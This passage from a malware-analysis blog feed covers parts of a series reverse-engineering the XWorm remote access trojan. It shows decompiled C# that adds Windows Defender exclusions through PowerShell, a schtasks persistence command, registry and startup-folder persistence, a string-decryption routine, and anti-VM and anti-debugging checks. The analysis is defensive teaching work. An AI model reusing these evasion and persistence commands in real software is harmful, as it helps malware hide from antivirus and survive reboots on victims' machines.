</span></span><span class="line"><span class="cl">					<span class="n">processStartInfo</span><span class="p">.</span><span class="n">Arguments</span> <span class="p">=</span> <span class="s">&#34;-ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess &#39;&#34;</span> <span class="p">+</span> <span class="n">Path</span><span class="p">.</span><span class="n">GetFileName</span><span class="p">(</span><span class="n">class1</span><span class="p">.</span><span class="n">variable1</span><span class="p">)</span> <span class="p">+</span> <span class="s">&#34;&#39;&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">					<span class="n">Process</span><span class="p">.</span><span class="n">Start</span><span class="p">(</span><span class="n">processStartInfo</span><span class="p">).</span><span class="n">WaitForExit</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">					<span class="n">processStartInfo</span><span class="p">.</span><span class="n">Arguments</span> <span class="p">=</span> <span class="kt">string</span><span class="p">.</span><span class="n">Concat</span><span class="p">(</span><span class="k">new</span> <span class="kt">string</span><span class="p">[]</span>
</span></span><span class="line"><span class="cl">					<span class="p">{</span>
</span></span><span class="line"><span class="cl">						<span class="s">&#34;-ExecutionPolicy Bypass Add-MpPreference -ExclusionPath &#39;&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">						<span class="n">class2</span><span class="p">.</span><span class="n">variable2</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">						<span class="s">&#34;\\&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">						<span class="n">Path</span><span class="p">.</span><span class="n">GetFileName</span><span class="p">(</span><span class="n">class1</span><span class="p">.</span><span class="n">variable1</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">						<span class="s">&#34;&#39;&#34;</span>
</span></span><span class="line"><span class="cl">					<span class="p">});</span>
</span></span><span class="line"><span class="cl">					<span class="n">Process</span><span class="p">.</span><span class="n">Start</span><span class="p">(</span><span class="n">processStartInfo</span><span class="p">).</span><span class="n">WaitForExit</span><span class="p">();</span></span></span></code></pre></div>
</div>
<p>The program starts an instance of <em>PowerShell</em> in a hidden window and proceeds to <a href="https://learn.microsoft.com/en-us/powershell/module/defender/add-mppreference?view=windowsserver2025-ps" rel="noopener noreferrer external" target="_blank">exclude the following from <em>Windows Defender</em> analysis</a>
:</p>
<ul>
<li>The <strong>path</strong> where the malware is running (C:\Users\[User]\Desktop\[sample.exe]).</li>
<li>The <strong>process</strong> of the malware (sample.exe).</li>
<li>A <strong>path</strong> in AppData concatenated with the malware (C:\Users\[User]\AppData\Roaming\[sample.exe])</li>
</ul>
<p>Upon analyzing the function, it becomes clear why it checks if the process is running with elevated privileges: to modify <em>Windows Defender</em> settings, administrator privileges are required.</p>
<p><strong>Remember that there are multiple ways to get infected. If an attacker were to embed XWorm within another legitimate program, they could convince their victim to run the program with elevated permissions</strong>; for example, installing pirated games often requires &ldquo;temporarily disabling the antivirus while running the &lsquo;crack tool&rsquo; as an administrator to patch the game&rsquo;s validation&rdquo;; while this may be true, we could also be unknowingly installing malware like XWorm and excluding it from antivirus analysis.</p>
<p>While excluding the path where the malware is running and the process makes sense, so far we haven&rsquo;t seen the binary interacting with AppData; this is an indication that the malware will likely copy itself to that path later.</p>
<h2 id="persistence">
  Persistence<a class="heading-anchor" href="#persistence" aria-label="Link to this section">#</a></h2>
<blockquote>
<p>Persistence is a tactic that allows attackers to maintain access to a compromised system, even after reboots or attempts to remove the malware. This is achieved by setting up methods for the malware to run automatically when the system boots or the user logs in, ensuring its continuous presence.</p>
</blockquote>
<p>XWorm uses 3 persistence methods to maintain access to its victim&rsquo;s machine; before setting up each persistence method, the malware copies itself to the path C:\Users\[User]\AppData\Roaming\[sample.exe] using the <code>File.WriteAllBytes</code> and <code>File.ReadAllBytes</code> functions:</p>
<div class="codeblock">
  <div class="codebar">
    <span>C#</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-C#" data-lang="C#"><span class="line"><span class="cl"><span class="kt">string</span> <span class="n">text</span> <span class="p">=</span> <span class="n">AppDataPath</span> <span class="p">+</span> <span class="s">&#34;\\&#34;</span> <span class="p">+</span> <span class="n">Path</span><span class="p">.</span><span class="n">GetFileName</span><span class="p">(</span><span class="n">currentFile</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="n">File</span><span class="p">.</span><span class="n">Exists</span><span class="p">(</span><span class="n">text</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">	<span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="n">FileInfo</span> <span class="n">fileInfo</span> <span class="p">=</span> <span class="k">new</span> <span class="n">FileInfo</span><span class="p">(</span><span class="n">text</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">		<span class="n">fileInfo</span><span class="p">.</span><span class="n">Delete</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="n">Thread</span><span class="p">.</span><span class="n">Sleep</span><span class="p">(</span><span class="m">1000</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="n">File</span><span class="p">.</span><span class="n">WriteAllBytes</span><span class="p">(</span><span class="n">text</span><span class="p">,</span> <span class="n">File</span><span class="p">.</span><span class="n">ReadAllBytes</span><span class="p">(</span><span class="n">currentFile</span><span class="p">));</span></span></span></code></pre></div>
</div>
<h3 id="scheduled-task">
  Scheduled Task<a class="heading-anchor" href="#scheduled-task" aria-label="Link to this section">#</a></h3>
<p>XWorm creates a Windows task that runs every minute using the command <code>schtasks.exe /create /f /RL HIGHEST /sc minute /mo 1 /tn [MalwareName] /tr &quot;C:\Users\[User]\AppData\Roaming\[MalwareName.exe]&quot;</code>. If the process is not running as an administrator, it executes the same command without the <code>/RL HIGHEST</code> parameter; <a href="https://learn.microsoft.com/en-us/windows/win32/taskschd/schtasks" rel="noopener noreferrer external" target="_blank">this parameter is used to run the task with elevated privileges</a>
.
<figure><img src="/p/008-xworm-3/008-task_hu_75d43cfe2b19c81e.webp" alt="Task scheduler" loading="lazy" decoding="async" width="766" height="408"><figcaption>Task scheduler</figcaption></figure>
</p>
<p>MITRE ATT&amp;CK technique: <a href="https://attack.mitre.org/techniques/T1053/005/" rel="noopener noreferrer external" target="_blank">T1053.005</a>
</p>
<h3 id="registry-key">
  Registry Key<a class="heading-anchor" href="#registry-key" aria-label="Link to this section">#</a></h3>
<p>XWorm sets the <code>HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run</code> registry key, <a href="https://learn.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys" rel="noopener noreferrer external" target="_blank">which specifies which programs to run when a user logs in</a>
.
<figure><img src="/p/008-xworm-3/008-regedit_hu_1392cce434c0b27b.webp" alt="Registry" loading="lazy" decoding="async" width="802" height="79"><figcaption>Registry</figcaption></figure>
</p>
<p>MITRE ATT&amp;CK technique: <a href="https://attack.mitre.org/techniques/T1547/001/" rel="noopener noreferrer external" target="_blank">T1547.001</a>
</p>
<h3 id="startup-folder">
  Startup Folder<a class="heading-anchor" href="#startup-folder" aria-label="Link to this section">#</a></h3>
<p>XWorm creates a shortcut to the malware in the path &ldquo;C:\Users\[User]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup&rdquo;, <a href="https://support.microsoft.com/en-us/windows/configure-startup-applications-in-windows-115a420a-0bff-4a6f-90e0-1934c844e473" rel="noopener noreferrer external" target="_blank">which is another way for programs to run at user login</a>
.
<figure><img src="/p/008-xworm-3/008-startup_hu_bd351db256a5d3e5.webp" alt="Startup path" loading="lazy" decoding="async" width="788" height="318"><figcaption>Startup path</figcaption></figure>
</p>
<p>MITRE ATT&amp;CK technique: <a href="https://attack.mitre.org/techniques/T1547/001/" rel="noopener noreferrer external" target="_blank">T1547.001</a>
</p>
<h2 id="next-steps">
  Next Steps<a class="heading-anchor" href="#next-steps" aria-label="Link to this section">#</a></h2>
<p>Lateral movement is a crucial tactic for malware propagation. In the next article, we will explore how XWorm uses USBs to achieve this while avoiding detection.</p>
<p>See you in the next article!</p>
]]></content:encoded></item><item><title>007 - Decoding XWorm: Initial Exploration and Anti-Analysis Techniques</title><link>https://www.threatanatomy.com/p/007-xworm-2/</link><pubDate>Tue, 14 Jan 2025 12:08:00 -0500</pubDate><guid>https://www.threatanatomy.com/p/007-xworm-2/</guid><description>In this article, we explore how XWorm employs obfuscation, encryption, and anti-analysis techniques to evade detection.</description><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<h2 id="introduction">
  Introduction<a class="heading-anchor" href="#introduction" aria-label="Link to this section">#</a></h2>
<p>In the previous article we identified that the RAT was built using the .NET framework, which makes it easier to analyze due to the wealth of information contained in binaries created with this framework. In this article, we will delve into the techniques XWorm uses to hinder analysis.</p>
<h2 id="initial-exploration">
  Initial Exploration<a class="heading-anchor" href="#initial-exploration" aria-label="Link to this section">#</a></h2>
<p>After opening XWorm in DNSpy, we verify that the names of classes and objects are obfuscated:
<figure><img src="/p/007-xworm-2/007-obfuscatedClass_hu_7bfa6ebf422eaa1e.webp" alt="Classes are obfuscated" loading="lazy" decoding="async" width="518" height="403"><figcaption>Classes are obfuscated</figcaption></figure>
</p>
<p>It would be tedious to review each class to identify the function where the program starts execution; fortunately, DNSpy displays the entry class and function as a comment:
<figure><img src="/p/007-xworm-2/007-main_hu_53c69830d683bb5e.webp" alt="Entry point" loading="lazy" decoding="async" width="791" height="181"><figcaption>Entry point</figcaption></figure>
</p>
<p>By clicking on the function name, DNSpy takes us directly to it, where we can see the code that gets executed when the malware starts:
<figure><img src="/p/007-xworm-2/007-mainF_hu_837aef0d058af4f5.webp" alt="Main function" loading="lazy" decoding="async" width="1400" height="297"><figcaption>Main function</figcaption></figure>
</p>
<p>Once execution begins, the malware calls <em>Thread.Sleep</em>, passing as parameters the value stored on the variable <em>sWpIi59HVTjtB0r6P7SRQdLwgcnM2a0ZVHXvX</em> multiplied by 1000. By clicking on the variable, we verify that it has a value of 2, so the value passed to <em>Thread.Sleep</em> is 2000. One of the advantages of analyzing .NET code with DNSpy is that it contains information about the various functions and native methods of the languages that use this framework. When hovering over the function, we can see that it is used to pause the thread for N milliseconds. Since the value passed to the function is 2000, the program halts for 2 seconds.</p>
<p>After sleeping for 2 seconds, the malware enters a try/catch block, where it attempts to execute several operations. If executing these operations fails, the program closes using the <em>Environment.Exit(0)</em> function.</p>
<p>At first glance, it may seem a bit odd what the malware does, as it assigns the result of an operation on a variable to the variable itself:</p>
<div class="codeblock">
  <div class="codebar">
    <span>c#</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c#" data-lang="c#"><span class="line"><span class="cl">  <span class="n">Class</span><span class="p">.</span><span class="n">variable1</span> <span class="p">=</span> <span class="n">Conversions</span><span class="p">.</span><span class="n">ToString</span><span class="p">(</span><span class="n">lnZZgsJ1tVOV</span><span class="p">.</span><span class="n">FbmCgvom7sJS</span><span class="p">(</span><span class="n">Class</span><span class="p">.</span><span class="n">variable1</span><span class="p">));</span></span></span></code></pre></div>
</div>
<p>If we click on the first variable, <em>qsurotxVBQWuN1wXL7Sl3R7UMOoGherwjkt90</em>, we see that its value is <em>nz4SABi5PYTEufPjSTbCd8mMnZZi6YWaGiwAg1FVXfo=</em>
<figure><img src="/p/007-xworm-2/007-var1_hu_9e62cdbb720e3901.webp" alt="Variable 1" loading="lazy" decoding="async" width="778" height="48"><figcaption>Variable 1</figcaption></figure>
</p>
<p>The value seems to be encoded in Base64; however, attempting to decode it does not yield readable characters:
<figure><img src="/p/007-xworm-2/007-base64_hu_7fe50504e452be5d.webp" alt="Encoded variable" loading="lazy" decoding="async" width="841" height="44"><figcaption>Encoded variable</figcaption></figure>
</p>
<h2 id="runtime-decryption">
  Runtime decryption<a class="heading-anchor" href="#runtime-decryption" aria-label="Link to this section">#</a></h2>
<p>If we click on the <em>FbmCgvom7sJS</em> function, we can understand what operations it performs on the variable:</p>
<div class="codeblock">
  <div class="codebar">
    <span>c#</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c#" data-lang="c#"><span class="line"><span class="cl">		<span class="kd">public</span> <span class="kd">static</span> <span class="kt">object</span> <span class="n">FbmCgvom7sJS</span><span class="p">(</span><span class="kt">string</span> <span class="n">TEFe4AuGLs1t</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="n">RijndaelManaged</span> <span class="n">rijndaelManaged</span> <span class="p">=</span> <span class="k">new</span> <span class="n">RijndaelManaged</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">			<span class="n">MD5CryptoServiceProvider</span> <span class="n">md5CryptoServiceProvider</span> <span class="p">=</span> <span class="k">new</span> <span class="n">MD5CryptoServiceProvider</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">			<span class="kt">byte</span><span class="p">[]</span> <span class="n">array</span> <span class="p">=</span> <span class="k">new</span> <span class="kt">byte</span><span class="p">[</span><span class="m">32</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">			<span class="kt">byte</span><span class="p">[]</span> <span class="n">array2</span> <span class="p">=</span> <span class="n">md5CryptoServiceProvider</span><span class="p">.</span><span class="n">ComputeHash</span><span class="p">(</span><span class="n">TFIW2FSLtw9S</span><span class="p">.</span><span class="n">fOEct6S2qWNI</span><span class="p">(</span><span class="n">Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec</span><span class="p">.</span><span class="n">eCx5LqBibLns0nMQEXWWSiIdLt37W7nhFgXiM</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">			<span class="n">Array</span><span class="p">.</span><span class="n">Copy</span><span class="p">(</span><span class="n">array2</span><span class="p">,</span> <span class="m">0</span><span class="p">,</span> <span class="n">array</span><span class="p">,</span> <span class="m">0</span><span class="p">,</span> <span class="m">16</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">			<span class="n">Array</span><span class="p">.</span><span class="n">Copy</span><span class="p">(</span><span class="n">array2</span><span class="p">,</span> <span class="m">0</span><span class="p">,</span> <span class="n">array</span><span class="p">,</span> <span class="m">15</span><span class="p">,</span> <span class="m">16</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">			<span class="n">rijndaelManaged</span><span class="p">.</span><span class="n">Key</span> <span class="p">=</span> <span class="n">array</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">			<span class="n">rijndaelManaged</span><span class="p">.</span><span class="n">Mode</span> <span class="p">=</span> <span class="n">CipherMode</span><span class="p">.</span><span class="n">ECB</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">			<span class="n">ICryptoTransform</span> <span class="n">cryptoTransform</span> <span class="p">=</span> <span class="n">rijndaelManaged</span><span class="p">.</span><span class="n">CreateDecryptor</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">			<span class="kt">byte</span><span class="p">[]</span> <span class="n">array3</span> <span class="p">=</span> <span class="n">Convert</span><span class="p">.</span><span class="n">FromBase64String</span><span class="p">(</span><span class="n">TEFe4AuGLs1t</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">			<span class="k">return</span> <span class="n">TFIW2FSLtw9S</span><span class="p">.</span><span class="n">kX1tPkTzXln3</span><span class="p">(</span><span class="n">cryptoTransform</span><span class="p">.</span><span class="n">TransformFinalBlock</span><span class="p">(</span><span class="n">array3</span><span class="p">,</span> <span class="m">0</span><span class="p">,</span> <span class="n">array3</span><span class="p">.</span><span class="n">Length</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">		<span class="p">}</span></span></span></code></pre></div>
</div>
<p>The function performs the following steps:</p>
<ol>
<li>It initializes an instance of RijndaelManaged, a class used in cryptographic operations.</li>
<li>It initializes an instance of MD5CryptoServiceProvider, which allows for performing MD5 hashing operations.</li>
<li>It creates an array called <em>array</em> (1) of 32 bytes.</li>
<li>It creates another array called <em>array2</em> (2) that contains the MD5 hash of the value stored on the variable <em>eCx5LqBibLns0nMQEXWWSiIdLt37W7nhFgXiM</em>.</li>
<li>It copies the MD5 hash from <em>array2</em> (2) into the first 16 bytes of <em>array</em> (1).</li>
<li>It copies the MD5 hash from <em>array2</em> (2) again into the first array (1), starting at the 15th byte; <strong>by doing this, the 15th byte, which was the last one copied in step 5, is overwritten</strong>.</li>
<li>It configures the 32-byte array (1), which now contains the duplicated MD5 hash, as the key for the cryptographic algorithm and initializes the method used to <strong>decrypt strings</strong>.</li>
<li>It obtains the value passed as a parameter to the function and decodes it from Base64.</li>
<li>Finally, it decrypts the byte array resulting from the previous step using the key set in step 7.</li>
</ol>
<p>By analyzing the function, we can finally understand its purpose: the values of certain variables are encrypted and the malware decrypts them during execution, possibly to prevent values such as URLs or IPs from being easily identified as Indicators of Compromise (IOCs) in static analysis.</p>
<p>While we could create a script to automate the decryption, we can use DNSpy&rsquo;s debugging capabilities to obtain the decrypted strings. We can press F9 on the line where the first string is decrypted and analyze the result, and F10 to step through each line:</p>
<p><figure><img src="/p/007-xworm-2/007-debugging_hu_b5aed804c17ad39c.webp" alt="Stepping over instructions" loading="lazy" decoding="async" width="1012" height="440"><figcaption>Stepping over instructions</figcaption></figure>
</p>
<p>From the decrypted strings, we identify some that may be potentially interesting:</p>
<ul>
<li>A DDNS.net URL, which is a dynamic DNS service.</li>
<li>What appears to be a port.</li>
<li>The string &ldquo;&lt;Xwormmm&gt;&rdquo;</li>
<li>The string &ldquo;USB.EXE&rdquo;</li>
</ul>
<p>Some of the decrypted strings don&rsquo;t make sense yet, and we will probably have to infer their usage based on the context of the function that invokes them.</p>
<h2 id="mutex-usage">
  Mutex usage<a class="heading-anchor" href="#mutex-usage" aria-label="Link to this section">#</a></h2>
<p>After decrypting the values, the malware enters the function <em>XykaLtFvQmKZ</em>, which attempts to create a Mutex with a specific name, which is stored in the variable <em>eCx5LqBibLns0nMQEXWWSiIdLt37W7nhFgXiM</em>:</p>
<p><figure><img src="/p/007-xworm-2/007-mutex_hu_86f1540401273fd.webp" alt="Mutex generation" loading="lazy" decoding="async" width="980" height="106"><figcaption>Mutex generation</figcaption></figure>
</p>
<p>Mutexes are commonly used in concurrent programming to lock certain parts of the code and prevent them from being accessed while in use or not yet ready. This happens because, when managing multiple threads, a <em>race condition</em> can occur, where one thread finishes before the thread we expected to finish first.</p>
<p>The parameters to create a Mutex <a href="https://learn.microsoft.com/es-es/dotnet/api/system.threading.mutex.-ctor?view=net-8.0#system-threading-mutex-ctor%28system-boolean-system-string-system-boolean@%29" rel="noopener noreferrer external" target="_blank">are the following</a>
:</p>
<ul>
<li><strong>initiallyOwned</strong>: <em>It does not affect the malware&rsquo;s objective.</em></li>
<li><strong>name</strong>: name of the Mutex.</li>
<li><strong>createdNew</strong>: True if the Mutex got created, <strong>False if a Mutex with the requested name already existed</strong>.</li>
</ul>
<p>In this case the malware is running in a single thread, but the malware authors creatively use this type of object by looking at the <em>createdNew</em> response parameter. This way, if a new instance of the malware is started while another is already running, the Mutex with the name defined by the malware will already be created, and the result would be False, causing the program to close. By doing this, the malware authors can ensure that only one copy is running at a time, preventing system performance impact and avoiding suspicion.</p>
<h2 id="anti-analysis">
  Anti-analysis<a class="heading-anchor" href="#anti-analysis" aria-label="Link to this section">#</a></h2>
<p>After ensuring that it is the only instance running, the malware enters the function w<em>8r25j4la24nAJZBLOLGewTPs69UXozPFVUsT</em>. By reviewing the function at a high level, we can see that it performs multiple validations and proceeds to close itself if any of these fail:
<figure><img src="/p/007-xworm-2/007-antidebug_hu_492e4e2f7e836c2e.webp" alt="Multiple validations" loading="lazy" decoding="async" width="1210" height="246"><figcaption>Multiple validations</figcaption></figure>
</p>
<p>Going through each function, the malware performs the following:</p>
<ol>
<li>
<p>It checks if it is running in VMware or VirtualBox:
<figure><img src="/p/007-xworm-2/007-vms_hu_f2226827fe33d417.webp" alt="VM Validation" loading="lazy" decoding="async" width="1400" height="612"><figcaption>VM Validation</figcaption></figure>

To do this, the malware retrieves the system&rsquo;s manufacturer using <em>Select * from Win32_ComputerSystem</em> and compares it with the strings &lsquo;vmware&rsquo; and &lsquo;VirtualBox&rsquo;</p>
</li>
<li>
<p>Checks if it&rsquo;s being debugged:
<figure><img src="/p/007-xworm-2/007-debugger1_hu_bb47b031a225c812.webp" alt="Debugger validation" loading="lazy" decoding="async" width="948" height="228"><figcaption>Debugger validation</figcaption></figure>
</p>
</li>
</ol>
<p><figure><img src="/p/007-xworm-2/007-debugger2_hu_db44833d8579909d.webp" alt="Kernel32 API" loading="lazy" decoding="async" width="1400" height="39"><figcaption>Kernel32 API</figcaption></figure>

The malware imports the <a href="https://learn.microsoft.com/en-us/windows/win32/api/debugapi/nf-debugapi-checkremotedebuggerpresent" rel="noopener noreferrer external" target="_blank">CheckRemoteDebuggerPresent</a>
 function from the Kernel32.dll library to verify if the current process is being debugged by an <em>external</em> debugger.</p>
<ol start="3">
<li>It checks if the SbieDll.dll DLL is loaded:
<figure><img src="/p/007-xworm-2/007-sandboxie1_hu_f59649a68bfd4c3.webp" alt="Sandboxie DLL" loading="lazy" decoding="async" width="865" height="309"><figcaption>Sandboxie DLL</figcaption></figure>
</li>
</ol>
<p><figure><img src="/p/007-xworm-2/007-sandboxie2_hu_cf7176ef8334de36.webp" alt="GetModuleHandle API" loading="lazy" decoding="async" width="802" height="44"><figcaption>GetModuleHandle API</figcaption></figure>

The library SbieDll.dll belongs to <a href="https://sandboxie-website-archive.github.io/www.sandboxie.com/SBIE_DLL_API.html" rel="noopener noreferrer external" target="_blank">Sandboxie</a>
, a program that allows sandboxing and analyzing programs. XWorm uses the GetModuleHandle function to check if the library is loaded.</p>
<ol start="4">
<li>
<p>It checks if it is running on Windows XP:
<figure><img src="/p/007-xworm-2/007-xp_hu_7de774b5a081bb13.webp" alt="XP verification" loading="lazy" decoding="async" width="486" height="203"><figcaption>XP verification</figcaption></figure>
</p>
</li>
<li>
<p>It checks if it is running on a cloud provider:
<figure><img src="/p/007-xworm-2/007-cloud_hu_b40a16051d11658d.webp" alt="Cloud provider validation" loading="lazy" decoding="async" width="683" height="177"><figcaption>Cloud provider validation</figcaption></figure>

The <em>hosting</em> parameter from the ip-api.com website indicates whether the IP belongs to a cloud provider.</p>
</li>
</ol>
<p>These validations can serve different purposes:</p>
<ul>
<li>The check to see if the environment is virtualized, that the malware is not running on XP, and that it’s not running on a cloud provider could be due to the malware’s capabilities, which may require physical hardware.</li>
<li>The check to see if it’s running on a cloud provider might be to prevent analysis by solutions like VirusTotal or AnyRun, which operate on cloud services (AWS/GCP/Azure).</li>
<li>The check to see if it’s being analyzed and if the Sandboxie library is present may be intended to hinder detection by dynamic analysis tools.</li>
</ul>
<p>If we were to continue with dynamic analysis on a PC with VMware or VirtualBox, the program would close due to the first check:
<figure><img src="/p/007-xworm-2/007-vmware1_hu_b6bcd51f6e19fa51.webp" alt="Usage in VMware" loading="lazy" decoding="async" width="1034" height="438"><figcaption>Usage in VMware</figcaption></figure>
</p>
<p><figure><img src="/p/007-xworm-2/007-vmware2_hu_c8f17fd667f4260.webp" alt="Program fails" loading="lazy" decoding="async" width="575" height="310"><figcaption>Program fails</figcaption></figure>
</p>
<p>To avoid this, we can set a breakpoint before the manufacturer is validated and change its value <em>in memory</em>:
<figure><img src="/p/007-xworm-2/007-newtext_hu_df3e55c331b7e6ad.webp" alt="Manufacturer modification" loading="lazy" decoding="async" width="819" height="155"><figcaption>Manufacturer modification</figcaption></figure>
</p>
<p>It is also possible to save the program after patching the validation; however, I do not recommend this until fully understanding what the malware does. The malware could proceed to corrupt files or encrypt the system, so it’s better to keep its initial function and allow it to close if we were to run it by mistake or in case it starts automatically using persistence techniques.</p>
<h2 id="conclusions">
  Conclusions<a class="heading-anchor" href="#conclusions" aria-label="Link to this section">#</a></h2>
<p>In this analysis, we have delved into the initial execution stages of XWorm, uncovering several techniques it uses to hinder analysis and ensure its execution in specific environments. Some of the key points include:</p>
<p><strong>Obfuscation and Dynamic Decryption</strong></p>
<p>XWorm uses Rijndael-based encryption and Base64 encoding to protect sensitive strings such as URLs, ports, and filenames. This approach aims to hide potential Indicators of Compromise (IOCs) until they are executed in memory.</p>
<p><strong>Mutex usage</strong></p>
<p>The malware ensures that only one instance is running by creating a unique Mutex. This prevents raising suspicion due to excessive system consumption.</p>
<p><strong>Anti-Analysis Validations</strong></p>
<p>XWorm’s multiple checks, such as detecting virtualized environments, external debuggers, and the presence of analysis libraries like Sandboxie, make dynamic analysis more difficult and aim to prevent execution in controlled environments.</p>
<p>These techniques not only show a high level of sophistication in the development of XWorm but also highlight the importance of advanced tools and methodologies in malware analysis. By overcoming these barriers, we can understand the behavior of such threats, anticipate their movements, and develop better defenses.</p>
<p><strong>Next Steps</strong></p>
<p>In the next articles of the series, we will explore XWorm’s defense evasion strategies, persistence techniques, and functional modules such as a keylogger and cryptocurrency capture capabilities.</p>
<p>See you in the next article!</p>
]]></content:encoded></item><item><title>006 - Decoding XWorm: Introduction</title><link>https://www.threatanatomy.com/p/006-xworm-1/</link><pubDate>Fri, 10 Jan 2025 10:00:49 -0500</pubDate><guid>https://www.threatanatomy.com/p/006-xworm-1/</guid><description>In this first article of the XWorm series, we explore the basics of analyzing this RAT (Remote Access Trojan). We identify the type of binary, analyze managed vs unmanaged code, and introduce the key tools for its analysis.</description><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<h2 id="introduction">
  Introduction<a class="heading-anchor" href="#introduction" aria-label="Link to this section">#</a></h2>
<p>XWorm, a sophisticated Remote Access Trojan (RAT) developed in .NET, is a favorite tool among cybercriminals due to its extensive feature set and constant updates. From anti-analysis techniques and communication with its creators via Telegram to Bitcoin theft, this malware exemplifies the current threat landscape.</p>
<p>In this seven-part series, we will analyze XWorm step by step, uncovering its internal mechanisms and the techniques it employs to achieve its objectives.</p>
<p>In this first post, we’ll lay the groundwork for understanding XWorm and its analysis. We’ll explore how to identify the type of binary we’re working with, review some basic .NET concepts, and introduce the tools we’ll use throughout the series.</p>
<h3 id="background">
  Background<a class="heading-anchor" href="#background" aria-label="Link to this section">#</a></h3>
<p>XWorm was first identified in 2022; since then, it has constantly evolved, incorporating new techniques to evade analysis and remain relevant in the current threat landscape. <a href="https://www.netskope.com/blog/netskope-threat-labs-uncovers-new-xworms-stealthy-techniques" rel="noopener noreferrer external" target="_blank">The Netskope team recently discovered</a>
 that XWorm underwent a new update to include additional capabilities, such as:</p>
<ul>
<li>The ability to remove plugins (earlier versions introduced plugin usage).</li>
<li>The ability to measure response time between the C2 server and the malware; this capability enhances a method previously found in earlier samples of this malware, including the one we will analyze in this series.</li>
<li>The ability to modify the Operating System&rsquo;s Hosts file, enabling an attacker to redirect web traffic to their server:</li>
</ul>
<div class="codeblock">
  <div class="codebar">
    <span>txt</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt"><span class="line"><span class="cl"># Copyright (c) 1993-2009 Microsoft Corp.
</span></span><span class="line"><span class="cl">#
</span></span><span class="line"><span class="cl"># This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
</span></span><span class="line"><span class="cl">#
</span></span><span class="line"><span class="cl"># This file contains the mappings of IP addresses to host names. Each
</span></span><span class="line"><span class="cl"># entry should be kept on an individual line. The IP address should
</span></span><span class="line"><span class="cl"># be placed in the first column followed by the corresponding host name.
</span></span><span class="line"><span class="cl"># The IP address and the host name should be separated by at least one
</span></span><span class="line"><span class="cl"># space.
</span></span><span class="line"><span class="cl">#
</span></span><span class="line"><span class="cl"># Additionally, comments (such as these) may be inserted on individual
</span></span><span class="line"><span class="cl"># lines or following the machine name denoted by a &#39;#&#39; symbol.
</span></span><span class="line"><span class="cl">#
</span></span><span class="line"><span class="cl"># For example:
</span></span><span class="line"><span class="cl">#
</span></span><span class="line"><span class="cl">#      rhino.acme.com          # source server
</span></span><span class="line"><span class="cl">#       x.acme.com              # x client host
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"># localhost name resolution is handled within DNS itself.
</span></span><span class="line"><span class="cl">#	localhost
</span></span><span class="line"><span class="cl">#	::1             localhost
</span></span><span class="line"><span class="cl">151.20.37.49	    bank.com   &lt;-- When the user accesses bank.com, their system connects to 151.20.37.49, overriding the DNS configuration.</span></span></code></pre></div>
</div>
<p>XWorm is a Remote Access Trojan; the main difference between this type of malware and a reverse shell is that it comes preloaded with built-in capabilities to perform various functions, such as keylogging, password exfiltration, execution of new programs, and more. By offering pre-customized functionalities, it enables individuals without technical knowledge to interact with it through administrative panels.</p>
<p>XWorm is sold on multiple criminal forums at varying prices. According to a <a href="https://www.trellix.com/blogs/research/old-loader-new-threat-exploring-xworm/" rel="noopener noreferrer external" target="_blank">study conducted by Trellix</a>
, version 4 of this malware was sold for $400 in 2023. As a result, it has been used to target multiple countries and industries. A quick internet search reveals that XWorm has recently been used to <a href="https://thecyberexpress.com/russian-hackers-target-ukraine-xworm-rat/" rel="noopener noreferrer external" target="_blank">attack Ukraine</a>
, <a href="https://www.forcepoint.com/blog/x-labs/xworm-malware-targets-united-kingdom-hospitality-sector" rel="noopener noreferrer external" target="_blank">industry sectors in the United Kingdom</a>
, and to <a href="https://www.sentinelone.com/labs/nullbulge-threat-actor-masquerades-as-hacktivist-group-rebelling-against-ai/" rel="noopener noreferrer external" target="_blank">deploy the LockBit ransomware</a>
.</p>
<h2 id="static-analysis">
  Static Analysis<a class="heading-anchor" href="#static-analysis" aria-label="Link to this section">#</a></h2>
<blockquote>
